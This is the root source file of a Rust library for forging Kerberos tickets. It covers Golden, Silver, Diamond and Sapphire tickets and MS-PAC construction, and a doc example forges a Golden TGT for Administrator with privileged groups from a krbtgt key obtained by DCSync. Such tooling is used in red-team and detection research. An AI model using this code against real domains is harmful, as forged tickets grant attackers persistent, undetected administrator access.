Skip to main content

ms_pac_forge/
lib.rs

1//! **ms-pac-forge** — MS-PAC marshaling + Golden/Silver Kerberos ticket
2//! forgery in pure Rust. Extracted from adhammer.
3//!
4//! # Modules
5//! - [`pac`] — PAC container parse + build (KERB_VALIDATION_INFO,
6//!   CLIENT_INFO, ATTRIBUTES, REQUESTOR, SERVER/KDC signatures).
7//! - [`forge`] — [`forge::forge_golden_tgt`] and [`forge::forge_silver_tgt`].
8//! - [`checksum`] — RC4-HMAC (etype 23) + KERB_CHECKSUM_HMAC_MD5 (-138) used
9//!   by RC4 forges. AES256 is provided by picky-krb.
10//!
11//! # Example
12//! ```no_run
13//! use ms_pac_forge::pac::ForgeIdentity;
14//! use ms_pac_forge::forge::forge_golden_tgt;
15//!
16//! let id = ForgeIdentity {
17//!     user: "Administrator".into(),
18//!     rid: 500,
19//!     primary_gid: 513,
20//!     group_rids: vec![513, 512, 520, 518, 519],
21//!     domain_subauths: vec![21, 1111111111, 2222222222, 3333333333],
22//!     logon_server: "DC01".into(),
23//!     logon_domain: "CORP".into(),
24//!     ..Default::default()
25//! };
26//! let krbtgt_aes256 = [0x42u8; 32]; // from `dcsync krbtgt`
27//! let tgt = forge_golden_tgt(&id, "CORP.LOCAL", &krbtgt_aes256, false).unwrap();
28//! let _ = tgt.ticket_cipher();
29//! ```
30//!
31//! 1.5.3 audit M-3: unsafe code forbidden, parity with kerbcore.
32
33#![forbid(unsafe_code)]
34
35/// Typed error for PAC marshaling + Kerberos ticket forgery. Replaces the
36/// previous `anyhow::Error` public surface so callers can match specific
37/// failure modes (wrong key vs malformed PAC vs encode failure).
38#[derive(Debug, thiserror::Error)]
39#[non_exhaustive]
40pub enum PacForgeError {
41    /// DER / PAC decode failure.
42    #[error("{0}")]
43    Decode(String),
44    /// DER / PAC encode failure.
45    #[error("{0}")]
46    Encode(String),
47    /// EncTicketPart decrypt failure (usually a wrong krbtgt / service key).
48    #[error("{0}")]
49    Decrypt(String),
50    /// EncTicketPart encrypt failure.
51    #[error("{0}")]
52    Encrypt(String),
53    /// PAC signature / checksum computation failure.
54    #[error("{0}")]
55    Signature(String),
56    /// A required PAC buffer type was not present.
57    #[error("PAC missing buffer type {0}")]
58    MissingBuffer(u32),
59    /// PAC truncated or a buffer offset ran past the blob.
60    #[error("{0}")]
61    Truncated(String),
62    /// The ticket carried no authorization-data (no PAC to extract).
63    #[error("ticket has no authorization-data (no PAC)")]
64    NoAuthData,
65    /// PAC version field was not 0.
66    #[error("PAC version {0} != 0")]
67    InvalidVersion(u32),
68    /// Caller-supplied identity was invalid.
69    #[error("{0}")]
70    InvalidIdentity(String),
71}
72
73/// Result alias for ms-pac-forge operations.
74pub type Result<T> = std::result::Result<T, PacForgeError>;
75
76pub mod checksum;
77pub mod diamond;
78pub mod forge;
79pub mod pac;
80pub mod sapphire;
81pub mod util;
82
83pub use diamond::{build_diamond_ticket, forge_diamond_tgt};
84pub use forge::{forge_golden_tgt, forge_silver_tgt, ForgedTicket};
85pub use pac::{
86    assemble_pac, build_kerb_validation_info, decrypt_ticket_pac_aes256, decrypt_ticket_pac_rc4,
87    parse_pac, re_sign_pac, ForgeIdentity, PacBuf, ParsedPac,
88};
89pub use sapphire::{
90    build_pa_for_user, extract_pac_from_enc_ticket_part, forge_sapphire_service_ticket,
91    KEY_USAGE_S4U_CHECKSUM, PA_FOR_USER,
92};